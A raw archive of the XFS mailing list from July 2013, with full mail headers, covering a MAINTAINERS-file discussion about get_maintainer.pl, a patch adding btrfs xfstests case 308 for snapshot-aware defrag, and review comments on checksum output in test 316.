In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372843451 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 On Wed, Jul 03, 2013 at 10:14:41AM +0200, Yann Droneaud wrote: > Hi, > > Le 03.07.2013 08:40, Dave Chinner a crit: > >On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: > >>This patch changes type of xfs@oss.sgi.com > >> > >>The output of ./scripts/get_maintainer.pl is > >>modified to report xfs@oss.sgi.com as a list: > > > >What's the problem with that? All XFS patches and problem > >reports should be sent to the xfs@oss.sgi.com list. There are far > >more people than just the maintainer that can triage problems, > >answer questions and review patches... > > > > It was just disturbing: I was looking for a list for XFS > and found only maintainers. That's what the: L: xfs@oss.sgi.com entry is, yes? Cheers, Dave. -- Dave Chinner david@fromorbit.com From ydroneaud@opteya.com Wed Jul 3 04:36:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E601E7F85 for ; Wed, 3 Jul 2013 04:36:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D3BEF8F8073 for ; Wed, 3 Jul 2013 02:36:42 -0700 (PDT) X-ASG-Debug-ID: 1372844200-04cbb0468fad50e0001-NocioJ Received: from mx-out.ocsa-data.net (mx-out.ocsa-data.net [194.36.166.37]) by cuda.sgi.com with ESMTP id NWfLHLTAywWIdhIg (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 02:36:41 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@opteya.com X-Barracuda-Apparent-Source-IP: 194.36.166.37 Received: from [192.168.111.12] (helo=rc.ouvaton.coop) by mx-out.ocsa-data.net with esmtpa (Exim - FreeBSD Rulez) id 1UuJUN-0006v6-8R; Wed, 03 Jul 2013 11:36:39 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Wed, 03 Jul 2013 11:36:39 +0200 From: Yann Droneaud To: Dave Chinner Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, ydroneaud@opteya.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Organization: OPTEYA X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list In-Reply-To: <20130703092406.GM14996@dastard> References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> <20130703064026.GL14996@dastard> <20130703092406.GM14996@dastard> Message-ID: <5e9d66217e0fa968863177d73dd492b1@meuh.org> X-Sender: ydroneaud@opteya.com User-Agent: Roundcube Webmail/0.9.2 X-abuse-contact: abuse@ocsa-data.net X-Barracuda-Connect: mx-out.ocsa-data.net[194.36.166.37] X-Barracuda-Start-Time: 1372844201 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 Le 03.07.2013 11:24, Dave Chinner a écrit : > On Wed, Jul 03, 2013 at 10:14:41AM +0200, Yann Droneaud wrote: >> Le 03.07.2013 08:40, Dave Chinner a écrit : >> >On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: >> >>This patch changes type of xfs@oss.sgi.com >> >> >> >>The output of ./scripts/get_maintainer.pl is >> >>modified to report xfs@oss.sgi.com as a list: >> > >> >What's the problem with that? All XFS patches and problem >> >reports should be sent to the xfs@oss.sgi.com list. There are far >> >more people than just the maintainer that can triage problems, >> >answer questions and review patches... >> > >> >> It was just disturbing: I was looking for a list for XFS >> and found only maintainers. > > That's what the: > > L: xfs@oss.sgi.com > > entry is, yes? > In the output of ./scripts/get_maintainer.pl: Ben Myers (supporter:XFS FILESYSTEM) Alex Elder (supporter:XFS FILESYSTEM) xfs@oss.sgi.com (supporter:XFS FILESYSTEM) linux-kernel@vger.kernel.org (open list) [If having the mailing list listed as the maintainer/supporter is correct, could ./scripts/get_maintainer.pl also report the mailing list as a list ?] Regards. -- Yann Droneaud OPTEYA From bo.li.liu@oracle.com Wed Jul 3 04:46:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8014D7F85 for ; Wed, 3 Jul 2013 04:46:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 08531AC00E for ; Wed, 3 Jul 2013 02:46:33 -0700 (PDT) X-ASG-Debug-ID: 1372844792-04cb6c2a4682a1e0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id T4sQHcKaK7pbdKAN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 02:46:32 -0700 (PDT) X-Barracuda-Envelope-From: bo.li.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r639eA31004584 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 3 Jul 2013 09:40:11 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r639kU7W004050 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 Jul 2013 09:46:30 GMT Received: from abhmt104.oracle.com (abhmt104.oracle.com [141.146.116.56]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r639kU3p020685; Wed, 3 Jul 2013 09:46:30 GMT Received: from localhost.localdomain.com (/10.182.228.124) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 03 Jul 2013 02:46:29 -0700 From: Liu Bo To: linux-btrfs@vger.kernel.org Cc: xfs@oss.sgi.com Subject: [PATCH] Xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Date: Wed, 3 Jul 2013 17:46:20 +0800 X-ASG-Orig-Subj: [PATCH] Xfstests/btrfs/308: add snapshot-aware defrag for partial extents testcases Message-Id: <1372844780-31845-1-git-send-email-bo.li.liu@oracle.com> X-Mailer: git-send-email 1.8.1.4 X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1372844792 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135674 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines This is to test whether snapshot-aware defrag can work well on partial extents. Signed-off-by: Liu Bo --- tests/btrfs/308 | 93 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/308.out | 2 + tests/btrfs/group | 1 + 3 files changed, 96 insertions(+), 0 deletions(-) create mode 100755 tests/btrfs/308 create mode 100644 tests/btrfs/308.out diff --git a/tests/btrfs/308 b/tests/btrfs/308 new file mode 100755 index 0000000..b3dd39c --- /dev/null +++ b/tests/btrfs/308 @@ -0,0 +1,93 @@ +#! /bin/bash +# BTRFS QA Test No. 308 +# +# Test if snapshot-aware defrag can work well on partial extents, ie. +# extent_offset is not zero. +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Oracle. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +# Modify as appropriate. +_supported_fs generic +_supported_os Linux +_require_scratch +_require_command "/usr/sbin/filefrag" + +rm -f $seqres.full + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +subvol=$SCRATCH_MNT/subvol + +$BTRFS_UTIL_PROG subvolume create $subvol >> $seqres.full + +for i in `seq 5 -1 1` +do + dd if=/dev/zero of=$subvol/foobar bs=6k count=1 seek=$i conv=notrunc oflag=dsync 2>> $seqres.full +done + +sync +for i in `seq 2 -1 1` +do + $BTRFS_UTIL_PROG subvolume snapshot $subvol $SCRATCH_MNT/snap-$i >> $seqres.full +done + +$BTRFS_UTIL_PROG filesystem defrag $subvol/foobar && sync + +num_extent_orig=`filefrag $subvol/foobar | awk -F ' ' '{print $2}'` +num_extent_snap1=`filefrag $SCRATCH_MNT/snap-1/foobar | awk -F ' ' '{print $2}'` +num_extent_snap2=`filefrag $SCRATCH_MNT/snap-2/foobar | awk -F ' ' '{print $2}'` + +echo "$num_extent_orig $num_extent_snap1 $num_extent_snap2" >> $seqres.full + +# if error +if [ "x$num_extent_snap1" != "x$num_extent_orig" -o "x$num_extent_snap2" != "x$num_extent_orig" ]; then + echo "number of extents mis-match!" + exit +fi + +# optional stuff if your test has verbose output to help resolve problems +#echo +#echo "If failure, check $seqres.full (this) and $seqres.full.ok (reference)" + +# success, all done +echo "done" +status=0 +exit diff --git a/tests/btrfs/308.out b/tests/btrfs/308.out new file mode 100644 index 0000000..1f3de82 --- /dev/null +++ b/tests/btrfs/308.out @@ -0,0 +1,2 @@ +QA output created by 308 +done diff --git a/tests/btrfs/group b/tests/btrfs/group index bc6c256..666054b 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -9,3 +9,4 @@ 276 auto rw metadata 284 auto 307 auto quick +308 auto quick -- 1.7.7 From david@fromorbit.com Wed Jul 3 04:50:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BBE207F88 for ; Wed, 3 Jul 2013 04:50:57 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 445E1AC005 for ; Wed, 3 Jul 2013 02:50:57 -0700 (PDT) X-ASG-Debug-ID: 1372845055-04cb6c2a4182aa10001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 4tKZ64GIq4xr8bxi for ; Wed, 03 Jul 2013 02:50:55 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlorAGbz01F5LNm+/2dsb2JhbABagwkyrHwCjk6FJQQBfhd0giMBAQUyASMjEAgDDgoJJQ8FJQMhE4gOunIWjjKBHQeDbQOXSZFGgyMq Received: from ppp121-44-217-190.lns20.syd7.internode.on.net (HELO dastard) ([121.44.217.190]) by ipmail05.adl6.internode.on.net with ESMTP; 03 Jul 2013 19:20:51 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1UuJi6-0007Db-GW; Wed, 03 Jul 2013 19:50:50 +1000 Date: Wed, 3 Jul 2013 19:50:50 +1000 From: Dave Chinner To: Yann Droneaud Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Message-ID: <20130703095050.GN14996@dastard> X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> <20130703064026.GL14996@dastard> <20130703092406.GM14996@dastard> <5e9d66217e0fa968863177d73dd492b1@meuh.org> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <5e9d66217e0fa968863177d73dd492b1@meuh.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1372845055 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) 0.50 BSF_SC1_TG070 Custom Rule TG070 On Wed, Jul 03, 2013 at 11:36:39AM +0200, Yann Droneaud wrote: > Le 03.07.2013 11:24, Dave Chinner a crit: > >On Wed, Jul 03, 2013 at 10:14:41AM +0200, Yann Droneaud wrote: > >>Le 03.07.2013 08:40, Dave Chinner a crit: > >>>On Tue, Jul 02, 2013 at 05:00:47PM +0200, Yann Droneaud wrote: > >>>>This patch changes type of xfs@oss.sgi.com > >>>> > >>>>The output of ./scripts/get_maintainer.pl is > >>>>modified to report xfs@oss.sgi.com as a list: > >>> > >>>What's the problem with that? All XFS patches and problem > >>>reports should be sent to the xfs@oss.sgi.com list. There are far > >>>more people than just the maintainer that can triage problems, > >>>answer questions and review patches... > >>> > >> > >>It was just disturbing: I was looking for a list for XFS > >>and found only maintainers. > > > >That's what the: > > > >L: xfs@oss.sgi.com > > > >entry is, yes? > > > > In the output of ./scripts/get_maintainer.pl: > > Ben Myers (supporter:XFS FILESYSTEM) > Alex Elder (supporter:XFS FILESYSTEM) > xfs@oss.sgi.com (supporter:XFS FILESYSTEM) > linux-kernel@vger.kernel.org (open list) You're smarter than a dumb script. If the information that the script parses is correct and the dumb script doesn't give you the right information, then what needs fixing? Seriously, all you are proving is the old adage that scripts/get_maintainer.pl should be considered harmful because people use it without first engaging their brain. Cheers, Dave. -- Dave Chinner david@fromorbit.com From joe@perches.com Wed Jul 3 04:54:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BB8FF7F8A for ; Wed, 3 Jul 2013 04:54:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 43593AC005 for ; Wed, 3 Jul 2013 02:54:13 -0700 (PDT) X-ASG-Debug-ID: 1372845250-04cbb04691ad6fa0001-NocioJ Received: from labridge.com (perches-mx.perches.com [206.117.179.246]) by cuda.sgi.com with ESMTP id O8jYpesVlxtWyI0n (version=SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 03 Jul 2013 02:54:11 -0700 (PDT) X-Barracuda-Envelope-From: joe@perches.com X-Barracuda-Apparent-Source-IP: 206.117.179.246 Received: from [173.51.221.202] (account joe@perches.com HELO [192.168.1.152]) by labridge.com (CommuniGate Pro SMTP 5.0.14) with ESMTPA id 21132559; Wed, 03 Jul 2013 02:54:10 -0700 Message-ID: <1372845250.2048.7.camel@joe-AO722> Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list From: Joe Perches X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list To: Yann Droneaud Cc: Dave Chinner , linux-kernel@vger.kernel.org, xfs@oss.sgi.com Date: Wed, 03 Jul 2013 02:54:10 -0700 In-Reply-To: <5e9d66217e0fa968863177d73dd492b1@meuh.org> References: <1372777248-4114-1-git-send-email-ydroneaud@opteya.com> <20130703064026.GL14996@dastard> <20130703092406.GM14996@dastard> <5e9d66217e0fa968863177d73dd492b1@meuh.org> Content-Type: text/plain; charset="ISO-8859-1" X-Mailer: Evolution 3.6.4-0ubuntu1 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: perches-mx.perches.com[206.117.179.246] X-Barracuda-Start-Time: 1372845251 X-Barracuda-Encrypted: DES-CBC3-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) On Wed, 2013-07-03 at 11:36 +0200, Yann Droneaud wrote: > In the output of ./scripts/get_maintainer.pl: > > Ben Myers (supporter:XFS FILESYSTEM) > Alex Elder (supporter:XFS FILESYSTEM) > xfs@oss.sgi.com (supporter:XFS FILESYSTEM) > linux-kernel@vger.kernel.org (open list) > > [If having the mailing list listed as the maintainer/supporter is > correct, > could ./scripts/get_maintainer.pl also report the mailing list as a > list ?] It does when you ask for just the lists... $ ./scripts/get_maintainer.pl -f -l -nom fs/xfs xfs@oss.sgi.com (open list:XFS FILESYSTEM) linux-kernel@vger.kernel.org (open list) If it bothers you that the same email address doesn't get reported as both a maintainer and a mailing list, you're free to submit a patch to get_maintainer.pl. (look at sub add_role) It doesn't bother me. From koen.de.wit@oracle.com Wed Jul 3 05:04:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1E8D47F8D for ; Wed, 3 Jul 2013 05:04:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 91DABAC005 for ; Wed, 3 Jul 2013 03:04:16 -0700 (PDT) X-ASG-Debug-ID: 1372845855-04cb6c2a4282bd50001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id C0cvEkPjzvupnGiB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 03:04:15 -0700 (PDT) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r63A4Ck1009129 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 3 Jul 2013 10:04:12 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63A4AAf015468 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 3 Jul 2013 10:04:11 GMT Received: from abhmt120.oracle.com (abhmt120.oracle.com [141.146.116.72]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r63A4APL011562; Wed, 3 Jul 2013 10:04:10 GMT Received: from [10.175.26.246] (/10.175.26.246) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 03 Jul 2013 03:04:10 -0700 Message-ID: <51D3F6CC.2040709@oracle.com> Date: Wed, 03 Jul 2013 12:02:52 +0200 From: Koen De Wit User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20111110 Icedove/3.0.11 MIME-Version: 1.0 To: Dave Chinner CC: Eric Sandeen , "xfs@oss.sgi.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy References: <51D29D17.3050000@oracle.com> <20130702101539.GC14996@dastard> <51D2E33B.1080402@oracle.com> <6B93E4A6-D1C9-4170-8E1C-B94D24F601BB@redhat.com> <20130703063724.GK14996@dastard> X-ASG-Orig-Subj: Re: [PATCH v3] xfstests: btrfs/316: cross-subvolume sparse copy In-Reply-To: <20130703063724.GK14996@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1372845855 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 07/03/2013 08:37 AM, Dave Chinner wrote: > On Tue, Jul 02, 2013 at 11:51:21AM -0400, Eric Sandeen wrote: >> On Jul 2, 2013, at 10:28 AM, Koen De Wit >> wrote: >> >>> Dave, >>> >>> Thanks for the review. I will clean up the commit message and do >>> a full mail-to-myself-and-test-patch round trip to avoid errors >>> like the wrong test numbers in the golden output. I'm sorry for >>> this. >>> >>> About cutting out file names from the output. I did this in the >>> first version of the patch: >>> >>> md5sum $TESTDIR1/$F | $AWK_PROG 'END {print $1}' >>> >>> but Eric Sandeen suggested to include them in order to provide >>> more context in the output. (See >>> http://oss.sgi.com/archives/xfs/2013-03/msg00231.html and >>> http://oss.sgi.com/archives/xfs/2013-03/msg00220.html) That >>> sounds like a good idea to me, it makes debugging failures >>> easier. Whose opinion should I follow? >>> >> Heh sorry. IMHO maybe a middle ground; not bare md5sum but show >> only the base name? In the end up to you; it seems Dave and I >> have different opinions on this. :) > > I was just going by current xfstests convention. i.e, in common/rc: > > # Prints the md5 checksum of a given file > _md5_checksum() > { > md5sum $1 | cut -d ' ' -f1 > } > > Which is used by all the hole punch tests and generic/311. That's true, but these tests generate other context information in the output. They don't just print a bunch of checksums. For example, the output of generic/255 looks like: 1. into a hole daa100df6e6711906b61c9ab5aa16032 2. into allocated space 0: [0..7]: extent 1: [8..23]: hole 2: [24..39]: extent cc58a7417c2d7763adc45b6fcd3fa024 3. into unwritten space 0: [0..7]: extent 1: [8..23]: hole 2: [24..39]: extent daa100df6e6711906b61c9ab5aa16032 (...) The output of generic/311 looks like: Running test 1 buffered, normal suspend Random seed is 1 ee6103415276cde95544b11b2675f132 ee6103415276cde95544b11b2675f132 Running test 1 direct, normal suspend Random seed is 1 ee6103415276cde95544b11b2675f132 ee6103415276cde95544b11b2675f132 (...) > Make of that what you will, but I'd prefer to see consistency of > implementation across tests... ;) Do I agree if I change _checksum_files() to: _checksum_files() { for F in file1 file2 file3 do echo "$F:" for D in $TESTDIR1 $SCRATCH_MNT $SUBVOL2 do _md5_checksum $D/$F done done } It produces this in the output: (...) file1: 00d620f69f30327f0f8946b95c12de44 e09c80c42fda55f9d992e59ca6b3307d e09c80c42fda55f9d992e59ca6b3307d file2: d7402b46310fbbfbc5e466b1dccb043b d7402b46310fbbfbc5e466b1dccb043b 917619ae44b38bb9968af261c3c45440 file3: 5a95800e4c04b11117aa4e4de057721f b9f275cd638cb784c9e61def94c622a8 5a95800e4c04b11117aa4e4de057721f (...) Thanks, Koen. From ydroneaud@opteya.com Wed Jul 3 05:07:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1B15B7F92 for ; Wed, 3 Jul 2013 05:07:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E04033040BA for ; Wed, 3 Jul 2013 03:07:42 -0700 (PDT) X-ASG-Debug-ID: 1372846060-04bdf0233caeada0001-NocioJ Received: from mx-out.ocsa-data.net (mx-out.ocsa-data.net [194.36.166.37]) by cuda.sgi.com with ESMTP id kI4Kay0qY41B3DUO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 03 Jul 2013 03:07:41 -0700 (PDT) X-Barracuda-Envelope-From: ydroneaud@opteya.com X-Barracuda-Apparent-Source-IP: 194.36.166.37 Received: from [192.168.111.12] (helo=rc.ouvaton.coop) by mx-out.ocsa-data.net with esmtpa (Exim - FreeBSD Rulez) id 1UuJyO-000948-8K; Wed, 03 Jul 2013 12:07:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Wed, 03 Jul 2013 12:07:40 +0200 From: Yann Droneaud To: Dave Chinner Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, ydroneaud@opteya.com Subject: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Organization: OPTEYA X-ASG-Orig-Subj: Re: [PATCH] MAINTAINERS: xfs@oss.sgi.com is a list Message-ID: X-Sender: ydroneaud@opteya.com User-Agent: Roundcube Webmail/0.9.2 X-abuse-contact: abuse@ocsa-data.net X-Barracuda-Connect: mx-out.ocsa-data.net[194.36.166.37] X-Barracuda-Start-Time: 1372846061 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC1_TG070, PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135676 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 